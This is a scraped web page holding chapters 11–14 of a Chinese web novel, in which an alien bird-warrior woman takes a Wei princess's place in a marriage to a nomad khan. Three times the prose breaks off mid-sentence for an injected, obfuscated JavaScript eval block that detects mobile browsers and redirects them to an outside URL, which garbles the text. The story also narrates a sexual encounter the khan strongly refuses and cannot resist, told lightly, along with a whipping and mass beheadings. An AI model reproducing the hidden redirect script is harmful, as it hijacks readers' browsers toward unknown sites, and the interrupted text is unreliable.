林一看到众人散去,又看到尤物一人折返,心里扑通扑通直跳,脑海里无数虚拟毒鸟食文本不住翻腾,虽然这两天她见过很多男人了,可从来没有过这样独处(?)的时候呢,男人都是很羞涩的,现在尤物一个人回来找她…… 苏赫阿那一步步走近可汗大座,现在居高临下的人成了他,看着少女仰头望着他,叹了口气,轻声道:“公主,我已经是做你父亲的年纪了,我的三个儿子都适龄,你若对嫁我不甘,除了名义,苏赫阿那容许你自己选择未来的丈夫。” 林一盯着他靠近的身体,终于忍不住摸了一下。 11.第 11 章 摸了一下,接着是几下,苏赫阿那愣神的当口,就被林一掀翻,一把按在可汗大座上。 可汗大座是非常宽敞的,苏赫阿那有时候累了也会侧卧,手腕支撑着头,这是一种比较省力的方式。 但他从来没有过整个人躺在大座上,抬眼就对上黑帐穹顶的视角。被按在大座柔软的狼褥子上,苏赫阿那的第一反应是遇到敌袭了,他曾经有过和熊生死搏杀的经历,他少年武勇,那种拼尽全力也无法抵抗的力道此生也就体会过一次。 现在是第二次了,苏赫阿那不愿意一直挣扎,对他这个年纪的人来说显得太过狼狈。看着俯身凑近的少女,他伸手推了一下,语气仍然保持先前的沉稳,“公主,你的心意我已经明白,你认可这份联姻的责任,不愿意任性为之,但是……婚仪还未完成,至少要到明日。” 林一不知道尤物的薄唇开开合合是在说什么,她埋在苏赫阿那的颈窝深深吸一口气,然后就是一通乱亲。 理论终究是理论,虽然脑子里想过无数回嘎嘎男人的事,真到了实战也是爪忙喙乱,林一克制着自己收拢着力道,还是把苏赫阿那的嘴唇亲肿了,脸上也有一些印痕,就在她准备扒开男人黑衣的时候,慢慢地停下手,小心翼翼地问:“不、舒服?不、愿意?” 她这些天是从庞十一娘那里学了些简单的日常交流词汇的,只是还听不懂长句。 苏赫阿那灰蓝瞳孔蒙着些许湿气,本是有些怒意的,但对上这种小心翼翼的神态,心中不由一叹。 自中原洛都远道而来,来到雪域荒蛮之地,又有克烈部静宁公主之事在前,这位玲珑公主想来心中惶恐,只能通过抓住男人的方式来让自己适应生存,虽然手段过于浅显,但作为一个成熟得可以做她父亲的男子,实在不应苛责她。 苏赫阿那起身,还扶了林一一把,语气沉稳严肃,“夫妻之事,应当两厢情愿,等明日完成婚仪,公主还愿意行此鸳盟,苏赫阿那不会推辞。” 他说这么多字,林一只听懂了个不字,顿时失落下来。 夜色已深,林一被带到临时的客帐里休息,苏赫部的少女用鲜花装饰她的帐子,床是木制的,甚至还有一些魏制的雕花样子,可见用心。 鸟类睡觉都不怎么挑地方,何况布置用心窝又暖,林一躺在床没多久就歪头睡了过去,睡得很香。 这一夜魏朝使团大部分人都没睡着,韩小六吃多了酒肉,后半夜直窜稀,拉得人都虚脱了,惹得一个帐的魏卒都没睡踏实,不乏有骂他的。萧玲珑和霓裳羽衣几个侍女睡一个帐,都是知晓她身份的人。因为被泼乳清的事,等苏赫部的少女们离开后,她发了好久的脾气才止住。 庞六娘和庞十一娘是和陪媵从妾们住一起,大约是分不清这些女子的身份,苏赫部的安排比较粗糙,五个人睡一个小帐,十个人能睡一个大帐,庞家姐妹选了大帐,一群人睡在一起倒是安心些。 次日天明,霓裳羽衣进帐服侍林一穿戴,刚套了一件就犯了大难——从魏朝带来的完婚大礼服,和林一的身段不能说是完全不匹配,只能说是大人穿小孩衣裳。 林一的个头非常高,这一点差别在替婚时并不打紧,苏赫部又不知道公主该是多高多矮,只是先前还没人想到公主婚服这事上,现在可完蛋了。衣裳大了可以掐腰裁剪,使团里有专门的裁缝,可小了就是真小了,就算婚服本身是做了延长裙摆的设计,可胸腹腰腿这些尺寸没一个能对上就很要命。 尤其是腰,霓裳掐腰比对时都懵了,谁家的贵女从小不束腰?哪有这样的铁板一块的腰身?拿了最紧的束腰来勒,也没法往里勒一寸,好像那不是柔软的肚腹,是一块细绸包着精铁。 昨天泼萧玲珑一壶乳清的苏赫部少女阿依带着两个年长些的女侍进来,询问道:“咋还不给公主穿衣裳?要到了时间嘞。” 霓裳把婚服往手里收了收,脸色发白,勉强笑道:“公主……路上圆润了许多。” “发胖嘞?木事木事!”阿依小麦色的脸庞上露出真心实意的笑容,“俺们备了婚服,还怕公主不肯穿!现下好嘞,俺们不知道公主尺寸,往大了做的,做了十来件高矮胖瘦不一样的,管保穿得上!” 苏赫部准备的婚服也是绸缎的料子,没有特别精细的绣工,但点缀了许多雪域特产的宝石,林一喜欢这种款式,比霓裳羽衣拿来的层层叠叠的婚服好得多,仅有内外两件,穿起来不那么束缚人。 正常的可汗大婚有非常多的繁琐仪式,尤其是祭神环节,献牲取血,滴血入酒,萨满饮血酒沟通天地人神,取羊骨灼烧占卜婚姻未来,但比较尴尬的是……苏赫部没有萨满。 萨满的起源非常早,当早期人类还在石器时代,就有了宣称能沟通天地的巫觋,萨满就是雪域人的完整巫觋传承,而几乎所有的雪域部族都有萨满教崇拜。 苏赫部作为新兴的大部落,本该请一位有威望的大萨满坐镇,有不少萨满地位仅次于部落之主,是一个部落重要的组成部分。但苏赫阿那本身起义就曾斩杀萨满,后来的可汗登基仪式上又没有使用重要的人牲祭天,让许多萨满为之不满,认为苏赫阿那不会长久。 苏赫阿那曾有两位妻子,第一个妻子是他少年时娶的同族遗孀,为他生下长子苏赫铎,那时他疲于征战,成婚不久就因一场疫病失去了妻子,那时自然也没什么婚仪。娶第二任妻子时苏赫阿那已经建立部落,娶的是克烈部拔都可汗的亲妹,因为克烈部公主地位尊贵于刚刚建立部落,还没有太多人口的苏赫阿那,所以是克烈部的大萨满主持了婚仪。 到今日迎娶魏朝公主,苏赫阿那的身份又不同,这一回是借用了下属部族铁勒族的萨满,萨满只是萨满,而不是大萨满,所以对于许多雪域部落来说,这场婚仪仍然和当初苏赫阿那自立可汗时那样,是不合理法的。 不过林一感觉很新奇,她盯着那个插满鸟羽的萨满又唱又跳,忍不住嘿嘿出声,早上的时候十一娘和她比划说明啦!今天是她和尤物的婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15112182|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼,婚礼! 尤物一定很喜欢她,所以昨天见了一面就要和她结婚!这个星球的婚礼和她所认知中的婚礼是差不多的,完成之后就她就会合法拥有一个男人!还是一看就让鸟想要嘎嘎嘎的绝代尤物! 此时萨满正吟唱到“若天不假年岁,此妇转婚吾子,敬告天地神灵”,魏朝这边能听懂的人不多,但脸色都不大好看。 雪域历来有收继婚之俗,和魏人讲究的君臣父子兄弟伦理纲常完全不符,却也自有一套运行逻辑:父兄死,叔伯死,则子弟从侄可以娶后母嫂嫂叔伯母,而尊者不得下淫。 是说小辈可以娶长辈的妻妾,长辈不得收用小辈的遗孀,基于的是繁衍需求而非礼仪道德,年长的妇人配给年轻的男子可以最大限度地保证生育和供养。长辈不得沾手小辈遗孀也是这个道理,年老的人对生育没什么作用了,有繁衍机会不得与年轻人相争。 萨满唱完,三位王子便来跪拜后母,也是在天神面前表示标记。 程欣忍不住以袖遮面,不敢去看林一喜气洋洋的脸,这位语言不通的贵女,大约并不明白自己的遭遇。 婚仪完成大半,苏赫阿那走到金坛前,伸手舀一杯血酒,血酒腥臊,他递给林一,低声道:“公主饮尽,若有不适就含一会儿,待进帐再吐掉。” 林一接过杯盏,咕嘟一口就喝干了,眼睛一眨不眨看着苏赫阿那,她其实没听懂在说啥,给啥喝啥非常老实。 苏赫阿那也饮了一杯血酒,萨满敲响铜钟,以示婚仪完成。 此时天色尚早,正逢夏秋集会,直到进了黑帐,外间的歌舞欢腾之声还是不绝于耳,年轻人们拉绳立桩圈场地,自发进行角抵摔跤等比赛,继续昨日未完的“宿夜”大比。 黑帐内摆下的宴席比昨日还要丰盛三分,除去昨日的蒸烤羊肉,乳酪制品,各色鲜果,还新添了些炙驼峰,烤马肉等吃食。 这次坐在客席上首的可就不是程欣了,而是一位年老的面相如鹰凖般的老人,克烈部拔都可汗,他的坐席两侧是一男一女,一个样貌平实端正的青年,一个长得颇有精神气的少女,是克烈部的二王子和小公主。 少女眼眶微红盯着对面的席位,苏赫部二王子苏赫忽律假装没看见她,咕嘟嘟直饮酒。 林一哐哧哐哧往嘴里直倒肉,几乎已经不是在吃肉,而是在喝肉,她大概明白今天晚上可能有一场鏖战,女人在这方面一定要表现得很威猛,她一定要给尤物最强大的体验,让他再也离不开她。 苏赫阿那没注意她,而是很客气地对拔都可汗解释原委,最后道:“巴特铁木尔这孩子性情我是知道的,若无人挑唆,做不出这样的事。往年,克烈部南下也是挑了时辰祭过天地的,如今正逢夏秋之会,坏了雪域的规矩,拔都阿兄,你认为应该如何处置才好?” 克烈老可汗声如豺狼,只道:“杀随二百,鞭七,我亲自执鞭。” 苏赫阿那敬酒一杯,示意长子去把巴特铁木尔带进来。 12.第 12 章 雪域部落大都有很久远的历史,早在魏朝建国之前,就已经有了克烈部,而更北方的“圣湖”塔塔尔部据说已有数千年历史,只是可汗换了几个姓。 克烈部是没有换过可汗姓氏的,初代蔑儿乞被称为“劫掠者”,如今的蔑儿乞拔都可汗同样继承了先祖遗风,每逢南下必牵头。近十年又占据魏朝的幽州地带,驱魏奴耕种,在魏人眼中,雪域人的形象大多来源于克烈部。 而在雪域部落,克烈部的名声就要好了太多,他们带来大量的粮食和奴隶,鼓动中小部落跟着他们干。每年出去一些青壮,虽然有些回不来,但劫掠带来的暴利让许多部落都心甘情愿,而损失大量青壮的中小部落又会被克烈部收拢,形成一个循环。在苏赫阿那异军突起的这些年,克烈部也是难得的能够维持霸主地位的大部落。 克烈部年年组织南下劫掠,收拢人口,塔塔尔部守着圣湖,能养活大量人口和骑兵,具有天然优势,这都是大部落不可撼动的地基。 但此刻魏人眼中的刽子手,拔都老可汗看起来有些苍老疲惫,看着遍体鳞伤的儿子被拖死狗一样拖进黑帐里,只是略微抽搐了几下手指,就从侍从手里接过长鞭,几步走上前,一鞭就把儿子的背部鞭得皮开肉绽。 巴特铁木尔惨嚎一声,面部扭曲,“阿父!假如是二弟,你会鞭打他吗?你的心叫魏女给蒙蔽了!你不认塔塔尔的母狼为你生下的长子,心里就只有那两个魏女下的贱种吗?” 拔都可汗脸色阴鸷,再度鞭下! “我有什么错!苏赫阿那的心根本不在结盟上!他想要左右逢源,他想娶魏朝公主!他是下贱的奴隶蒙蔽勇士生下的杂种,他根本不是我们雪域人!” 巴特铁木尔凶戾地咆哮着,这几天的俘虏日子已经快把他折磨疯了,鞭打只是折磨他的躯体,杀随是在剪去他的羽翼。他知道,被杀掉的二百随从里,一定全都是他母亲留下的塔塔尔部亲随,而不会是克烈部的人,有了被杀随的经历在前,他再也招募不到勇士入帐了! 拔都可汗不知是不是老了,鞭到后面力道便轻了些,还剩下三鞭,当着苏赫阿那的面,他掷鞭在地,示意一名克烈部的勇士接替。 勇士上前,连鞭三下,巴特铁木尔这下是没有嚎叫的力气了,像一条死狗趴在地毯上,只剩下粗重的喘气声。 苏赫阿那叹了口气,对入席坐下的拔都可汗说道:“巴特铁木尔年纪还小,这番惩戒也就算过去了,他的本性不坏,如今却这样仇恨兄弟,仇恨于我,拔都阿兄,你有些疏于管教了。” 拔都可汗面部如同巴特铁木尔那样抽搐了几下,豺狼似的声音响起,“这趟回去,我会把他带在身边。” 苏赫阿那点到即止,又命人奏乐擂鼓,少年少女头戴花环,歌舞入帐,将先前的血腥一幕压了下去。 林一也吃饱了。 她知道自己听不懂,所以也不管自己的俘虏为啥被叫来打了一顿,眼睛只盯着苏赫阿那看,又不是什么很漂亮的男性,打就打了呗,而且她现在还记着那些拴在马后的人头。 杀随是在黑帐外进行的,二百个青壮勇士被砍掉脑袋,临死前不乏有咒骂哭嚎的,骂巴特铁木尔或是拔都可汗的还好,有骂苏赫阿那的,就是最不敢看砍头的小孩子,都要抓一把牛粪蛋砸过去! 江骋今日不在席间,由副将周鹏列席替代,他正和萧玲珑一起坐在草坡上。一路来他们像这样独处的时候很多,萧玲珑昨日在帐子里大发脾气,对着江骋却一句抱怨也没有,只是静静靠着他的肩膀,询问还有多久才能离开。 “今日婚仪已毕,正逢雪域夏秋集会,庆典应该会持续几昼夜,如果急着离开,最早明日告辞,后日启程。” 江骋没说这样其实不够体面,魏朝这样恨嫁公主,原本也没什么体面,是非之地久留无益。他虽然想要观察苏赫部的内部情况,但显然那位可汗忙中不乱,也在防备于他们,这两天摆在明面上的人只是一些普通牧民,他想要看到更多东西是不可能的。 萧玲珑很喜悦,把头又靠在江骋胸膛上,“快带我离开这里吧,鸿羽哥哥。” 最后的尾音放得很轻,像是少女的情丝。 宴席散后,林一也把声音放得很轻柔,像被掐着脖子的鸭叫,她眼神很柔软地看着尤物,“小女玲珑,远道来此,再无依靠,蒙君不弃,愿承君泽。” 话是霓裳教的,林一记性是非常好的,只听了一遍就记住了。从比划来看,这话是邀请尤物睡觉的,所以她果断选择在床边说,刚说完,就见尤物薄唇叭叭说了一大通话。 她一个字都没有听懂,只是本能判断这大约是拒绝和她睡觉的意思。 林一再次试探着道:“蒙君不弃,愿承君泽?” 苏赫阿那轻轻叹了一口气,他不是那种看重女色之人,除了两任妻子便没有碰过女人,前者相处短暂,后者处处掣肘,只能算是一种联姻选择。如今和年龄相差过大的少女同处一室,同样令他觉得不适,他并不是那等自己年老便喜爱摧折少女的恶人,昨日也是真心实意想将公主配于自己更加年轻的儿子。 林一看着尤物皱眉,便有些失落下来,昨天也是这样,是不喜欢她吗?不喜欢为什么要办婚礼呢? 苏赫阿那终于下了决定——他准备离开帐子,冷不防被人从后面扯住皮质腰带,昨日那熟悉的熊搏之力再度袭来。 ……差点忘记了,这小姑娘又能吃又力大,刚才席间一直在吃,却是把这点力气全都用在了他身上。 可汗大帐不是林一昨天睡的那种客帐,是和大座一样非常宽敞的,林一最初只是不大甘心,至少像昨天那样亲亲抱抱占点便宜,但是!尤物的拒绝并不强烈,反而有一种半推半就的意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117254|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思,这极大的鼓舞了林一,她几乎是颤抖着扒掉了那层裹着尤物的黑衣。 苏赫阿那的拒绝其实挺强烈的,也没有半点推就的意思,只是他被巨力压制得无法反抗,再加上的确很久没有过这种事了,即便是非常粗鲁的撩拨,也起了一点反应。 看着林一颤抖着手来解他的衣裳,苏赫阿那不由再次叹了一口气,他今日叹气的次数足够多,但心中的确也无奈,他是足可做公主父亲的年纪,只是小姑娘家已经这样坚决表明立场,难道他还要不言不动,让她如女奴般羞耻地来取悦自己吗? 苏赫阿那轻拍了拍林一的肩膀,示意放开压制,林一以为今天的便宜占到这里为止,恋恋不舍地松开,下一秒天旋地转,背部靠床。 “公主的心意,我已经明白,接下来是男人的事,你不必为难。”苏赫阿那语气低沉而温柔,半长的黑卷发垂落下来,丝丝缕缕搭在林一肩头,灰蓝眼睛静静注视着着颤抖的公主。 林一躺在床上,震撼地地看着尤物主动坐在自己身上,单手抽离腰带。 她不知该说什么,但也知道不应该嘎嘎,于是重复了霓裳教她的话,眼神很柔软地看着苏赫阿那:“愿承君泽。” 苏赫阿那俯身吻她。 …… 这一夜不知是怎么过去的,林一贪婪而凶狠,只装乖了一点点时间,便暴露恶鸟本性。啃肉吮皮,拆骨吸髓,还非常具有开放性,不局限于床榻这点天地,如果不是后面苏赫阿那抓住床柱不肯动弹,她差点要把战场扩大到帐外。 总之是非常酣畅淋漓的一场搏杀,苏赫阿那多年不曾宣泄,林一从流水线出厂就没沾过荤腥,两下激战,直到天明。 苏赫阿那力尽时姿势早已变动不知几回,又回到了最初被压制的状态,灰蓝眼睛里泛起薄雾时渐渐关合,大约是疲惫太过,他仿佛见到一双五彩斑斓的羽翼自这如狼似虎的公主背后舒展开来。 不是错觉,林一伸展翅膀嘎嘎大叫一声,下一刻又收拢回去,翻身躺在苏赫阿那身边,缓了会儿,很爱怜地给他把被褥盖起来了。 林一现在非常想出去开一把飞舟,创死几个虫族,又本能想要守窝,守着自己的男人。 心中的一腔爱火无法宣泄,林一在床上蹦跶了几个来回,又心满意足躺了回去,把苏赫阿那抱进怀里,两人的身高尺寸相差无几,抱起来也非常非常契合。 虚拟毒鸟食里说,雌鸟是有贤者时间的,林一从前没体会过,现在体会到了。她脑子里第一次非常平和宁静,甚至有种想和百鸟帝国那帮虫养的杂种和解的温柔,她拢起苏赫阿那的披散黑卷发,唇瓣贴在冰凉发丝上。 这里是我的家了,你是我的男人。 林一把苏赫阿那摆弄几下,胳膊伸展,形成一个羽翼庇护的姿势,让苏赫阿那枕着她宽阔的胸膛,美滋滋地睡去了。 13.第 13 章 苏赫部的小王子苏赫乌苏每天的生活非常规律,他刚满十六岁,母亲在生他的那一年去世,也因此同母的兄长苏赫忽律对他非常敌视,兄弟二人一年到头说不了几次话。 长兄铎和他异母,每逢想要亲近这个哥哥,二哥忽律就会跳出来,阴惨惨地瞪着他,令小王子心生畏怯。 阿父却是很好的,但是阿父很忙,最近这两年部落里不怎么打仗了,但阿父更忙了,每天就只有早晨能见上一面。因为昨日娶了新妇的关系,乌苏早上起床,就忽然很想去拜见一下父亲。 出了白羊帐——苏赫部三个王子,就只有乌苏住的是白羊帐,因为他没有任何职务在身。但他是三个王子里唯一雇了幕僚的,对!就是魏人高官经常养的那个幕僚……嗯,或者是谋士一类的,对称呼这一项,王先生总是很含糊。 乌苏撒着欢来到王先生的帐子前,很乖巧地用雪域语隔帐询问:“先生,今日朝食想吃什么?我去拿给你。” 是的,甚至不是现做,因为苏赫部实在没有专供王室的一套人手,黑帐内外都是一勺烩的,羊肉每日管够,区别只在于想吃蒸吃烤。 帐子里传来一声懒洋洋的呼应,“两份肚包肉,一壶奶茶。” 乌苏很高兴地离开了,没多久又噔噔噔跑回来,端着一个大托盘,除了王先生要的那些,他还特意多带了一碗荠菜粥。小心翼翼掀开帐子入内,把朝食一一放在桌上,回头就看见一个光华无双的男子侧卧在床,那令人心折的君子气度实在是…… 王澈打了个哈欠,开口就很正宗的齐鲁方言,“俺不喜见素滴,下回白捎了昂!” 乌苏犹犹豫豫地说:“恁成天价吃肉,容易解不出来。” 王澈摆手,他在魏朝吃素就算了,来了雪域还吃素,这不白来了吗! 总之服侍了先生从床上起身,挪到轮椅上,乌苏很是心疼,听闻先生是魏朝流放的罪族世家子弟,因为来时赶上暴风雪,两条腿就此冻坏了,他初次见先生时,先生是在雪地里爬行的,即便如今已经数年过去,他还是忘不了那日雪地的惨状。 也许腿瘸之后就开始自暴自弃,王澈的生活习惯很不好,每天吃了朝食继续睡,睡到下午才起身,除了教教人说魏语,什么事情都不干……当然了,乌苏绝对不会觉得自家先生有哪里不好了,怪只能怪那些害了先生的人。 王澈吃完朝食倒头就睡,乌苏亲手收拾了餐盘出门,这才打理了一下衣裳去拜见父亲,他非常喜欢魏人的儒学,平素也以小君子自居。 可汗大帐外有巡逻勇士,平时大帐帘门是敞开的,今天却紧紧闭着,乌苏想要上前,一个小麦肤色,笑起来脸侧有个单酒窝的可汗亲卫拦住他,“乌苏王子,大汗还没起呢。” 乌苏愣了一下,“是昨天婚仪太疲惫了吗?怎么这时……” 亲卫朝他挤了挤眼睛,乌苏很关切地询问:“阿克,你眼睛怎么了?怎么抽搐得这么厉害?” 亲卫阿克故作为难,然后凑近小王子耳边,叽叽咕咕说了一大通话。 小王子呆住了,整个脸上浮现出大片红晕,然后转身就跑。其他亲卫便忍不住责怪阿克,“三王子还小,和他说这些做什么?” “十六岁了,放在魏朝都可以娶媳妇了,只是听两句能怎么的?”阿克挠了挠盔甲底下,“要我说乌苏王子就该亲近亲近好姑娘了,整天跟在魏人先生身边,像个小书童一样,哪里像……” 众亲卫都不再说话了,是啊,三王子这样的小羊,可真是雪域上的稀奇物种。 天将近午,可汗大帐的帘子才被掀开,昨日的黑衣被撕得很惨,苏赫阿那换了身靛蓝间红的衣裳出门,亲卫们都以为公主还在帐中,苏赫阿那则以为林一出门较早,他并不是那种事事都要管的丈夫,也没有询问亲卫。 其实林一醒得很早,她悄无声息离开苏赫部落的聚居地之后就咔咔一顿变形,以鸟形出去捕猎,抓了三只鹿两只羚羊和几只兔子,又人身折返回去,路上见到苏赫铎,向他借了大车把猎物往回拉。 五头大型猎物里,有三头是准备送给魏朝使团的,周鹏一只鹿,江骋和萧玲珑一人一只羊。林一是很会记账的,她吃了使团很多顿了,还白得了一个绝代尤物,远古人类生存很辛苦,她准备把这些人全部划入她来养的范围里。 剩下两头鹿……嘎嘎当然是她和尤物两个人吃!林一已经接受了鸟身缺乏营养液维持,以后大概可能很少会放出来的事实,回来的路上还有些忧虑。 但这个星球上并没有虫族那样逆天的敌人存在,她看到雪域上有几种大型捕猎者,准备下次有空时,人身徒手去搏杀试试看,打不过也没事,大鸟最厉害的是机动性,翅膀一拍就可以飞走! 送完猎物回来,林一就不要大车了,扛着两只鹿和一串兔子往回走,苏赫铎一直跟着,也是像尤物那样叭叭个不停,林一听不太懂,只能听出几个“厉害”“公主”等词汇。 她沉着地点点头,知道公主是指她,厉害是夸她的意思。 林一在黑帐里转悠了一圈,看到尤物在昨天的宴客黑帐里坐着,程欣在客席上首,她把两只鹿卸货在毯子上,兔子随手扔在程欣的桌子上,就大步往上走,坐到可汗大座上,和尤物肩并肩了。 程欣略有些惊讶,不过很客气地笑着恭维,“我朝公主家学渊源,爱好游猎骑射,看来也颇能适应雪域,如此程某也能放心回去了。” 苏赫阿那看了一眼林一,想起昨夜种种,立刻收回视线,轻轻拍了拍林一的手,很沉稳地对程欣道:“尊客急着离开,想来不用客套挽留,这趟联姻的目的,程太守应当知晓。如今加上历来储备的量,铁器已经足备,盐尚有些开采不足,铁器可带走三成,魏朝这里须得送五成粮来,我再交易一半的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122153|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盐,如此循序交易。” 程欣点头,又有些无奈,“大汗明知上头急着要,我泱泱大国岂能赖账,如何这样谨慎小心?” 苏赫阿那只是看着他,不说话。 程欣自己打了个圆场过去了,苏赫阿那又道:“我会与拔都可汗盟约,交易途中不会有沿途劫掠侵扰,也希望上国不要以霉坏陈粮充数,苏赫部立足雪域不久,不曾南下掠过魏关,今年草原气候异常,倘若我用相同的盐铁储备去与克烈部换粮……太守也知,那价是会高许多的。” 程欣叹了口气,再三保证粮食不会有问题,这才告辞离去。 这样大批量的盐铁粮交易自然不是由使团完成,而是会有专门的运输队伍自边关出发来往运粮,还要配备足够的人手,可不要觉得天子运粮就没人敢劫,有的地段世家黑着呢! 忙完正事,苏赫阿那揉了揉眉心,对林一道:“使团明日就要离开了,公主不去看看吗?” 林一听不懂,只是看着他笑。 苏赫阿那叹了一口气,除了帐子里很野之外,这位魏朝公主白天看起来还是很温柔贤淑,以夫为天的。他听闻过魏女柔如水的说法,从不曾尝试过,现在却莫名多了个小鸟依人的妻子……罢了,慢慢适应吧。 次日天明,林一睡得有些迟了,困倦倒是不困倦,只是尤物在怀,鸟窝温暖,她磨磨蹭蹭一点都不想早起。 魏朝使团离开时,替马上拴着一只活鹿的周鹏频频回头,却没有等来一场告别,看了眼和江骋同骑一匹马的萧玲珑,喂给身侧活鹿一把草,抬头看了一眼雪域湛蓝的天空。 萧玲珑枕着情郎的胸口,嘴角上扬,也回头看了一眼远去的雪域黑帐,梦魇近在咫尺,而她得以全身而退。 江骋想着别的事。 车驾里的程欣算着这分批交易的沿途损耗,算到头秃。 不过这些人和事对林一来说,都将告一段落了。 ……也有没能告辞的。 韩小六呆呆躺在白羊毡帐里,和两个同样起不来身的小卒一起被扔下了,他从军不久,是因为比较会溜须拍马,才能抓住一个很恰好的机会,进了洛阳禁军的选拔名单。 洛阳禁军的待遇极好,但他要攒钱寄回家中给母亲看病,很少吃得到荤腥,来到雪域就赶上大宴,忍不住馋嘴多吃了些,当夜窜稀跑肚。 但羊肉实在太香了,第二天不怎么拉稀,韩小六忍不住又吃了一顿羊肉,然后就开始上吐下泻。按理他这个年纪是熬得过去的,几天就能自己好了,可没想到使团那么急着走,就把他和另外两个症状差不多的给扔在这里了。 韩小六的眼泪从两侧眼角流下来,雪域茫茫,离他江淮老家不知几千上万里,被扔在这里几乎是回不去了。可怜他的老母再也见不到她的乖儿,他又没死,老母还拿不到抚恤。 艹江骋全家老少! 14.第 14 章 魏朝使团离开后,霓裳和羽衣两个大侍女开始统筹人手,连带三十陪媵从妾在内,留下来的魏人约莫有二百之数,这个数字看着不少,实际上二百来个人够做什么的?还没有黑帐一列巡逻骑兵多。 一些工匠下役是不担心的,老天爷不饿手艺人,雪域再荒蛮,生病要不要大夫?木匠活要不要做?绣活缺不缺人手?就算顿顿吃羊,会一羊十八烧的厨役也是大灶台的能手,事实上刚来第一天,一行六个厨役带仨徒弟就已经到苏赫部的大灶上工去了,非常自觉。 其实萧玲珑是带了从小陪伴她的掌事姑姑上路的,可惜,还没出玉门关就病死了。霓裳和羽衣两个大侍女,一个二十二,一个二十,在皇宫里算是老人了,但还是没怎么担过事。首先叫替嫁这么大的事吓破了胆子,然后萧玲珑离开,给她俩留了个不会说人话的。 可不会说人话不要紧,就这两天的观察来看,这位只会嘎嘎的主儿把苏赫大汗服侍得很好。 两个大侍女对萧玲珑是有一些怨恨的,虽然不是打小服侍,但也相伴数年,平时伺候那么精心,临走却也没有带她们。两人如今不过桃李年华,正是年轻貌美,就这样葬送在蛮荒之地,以后大约就是穿羊皮吃马肉地过活着了。 霓裳羽衣商量了很久,最后决定把假公主当真主子,至少苏赫大汗的态度很好,不似那种会突然翻脸的恶人,她们得拿出一些真本事来教一教假公主如何讨好男人,将得宠的日子延长得更久一些。 首先要教会她语言和文字。 林一正在喝奶茶,她不是那种魏家贵女品茗的姿态,而是端着碗吨吨吨往下灌,喝饱了还得打个嗝。 雪域的奶茶是咸口的,牛乳里放了盐和茶叶一起煮开,看起来是浅褐色液体,泛着些奶腥气和茶香。反正魏人这边没几个喝得惯,林一是不嫌弃的,她天然就很喜欢脂肪和维生素。 霓裳羽衣两人带着一册《女诫》进来,作为贵女的启蒙课本,《女诫》是霓裳羽衣两个能想到最适合用来教学的东西了,自从林一学完《急就篇》,认得了一些简单常用字,两人就开始为她精讲女诫。 林一很熟悉这一套,她没说等霓裳羽衣走后不久,庞家姐妹也会来给她上语言课,只不过她的进度比较慢,洛下音对她粗糙的鸭子嗓不够友好,反倒是那个叫阿依的小姑娘从来没教过她,她却不自觉学会了一些日常用语。 “殿下,我们昨天学了女诫中卑弱第一篇,现在重新读一遍文字,然后羽衣给您讲解一遍,最后是默写。”霓裳用非常耐心的语气哄孩子似的说话。 林一很慎重地点点头。 不要以为源生战士是战争机器,就拥有很好的智力,林一是出生即毕业,落地三天就开启十年征程,属于速成鸟,能看懂虚拟毒鸟食就不错了,就这个还是为了让源生战士更好地了解指令而通过芯片植入的语言功能。 没有芯片辅助,林一的学习完全是依靠本身的智力,好在她记性很好,立刻复述起昨天的教学内容:“卑弱第一,古者生女三日,卧之床下,弄之瓦砖,而斋告焉。卧之床下,明其卑弱,主下人也。弄之瓦砖,明其习劳,主执勤也……” 羽衣认真听完,然后慢慢地讲解道:“古人说生了女儿三天后,就要放置其在床下,让女儿玩砖瓦,告诉先祖,这是因为要女儿生来明白自己的卑弱,是居于人下的。生来弄瓦,是因为女子的一生都要习惯劳作,承担妇责。” 林一非常认同地点点头,嘎嘎几声,辅以自己的理解:“女人生下来不用睡床,就要玩砖头瓦片,女人和男人不一样,男人是娇贵的,女人需要扛得起男人,以劳作来养活自己的男人,从小就要培养女人强大的心性。” 霓裳和羽衣对视一眼,这……好像是对的,好像哪里都不对,不、不对!《女诫》原文好像都没有公主苛刻啊! 但林一很显然是能理解课本的,她两指捏笔,用杂七杂八的笔划拼凑出了女诫卑弱第一篇,每个字都写得很大,没有缺胳膊少腿,让两个侍女明白了她是真的学会了。 霓裳羽衣走后,庞十一娘红着脸悄悄溜了进来,一进帐子,就忍不住和林一说起昨日的事,“殿下,阿姐昨天晚上去‘宿夜’了!是个连赢十五场摔角的勇士,他光着膀子过来问阿姐,要不要去他的帐子里,那人肩膀又宽,个子又高,笑起来特别俊,是黑里俊哦!阿姐本来要骂的,一看就呆住了……殿下,阿姐刚才才回来,还说滋味很好呢!” 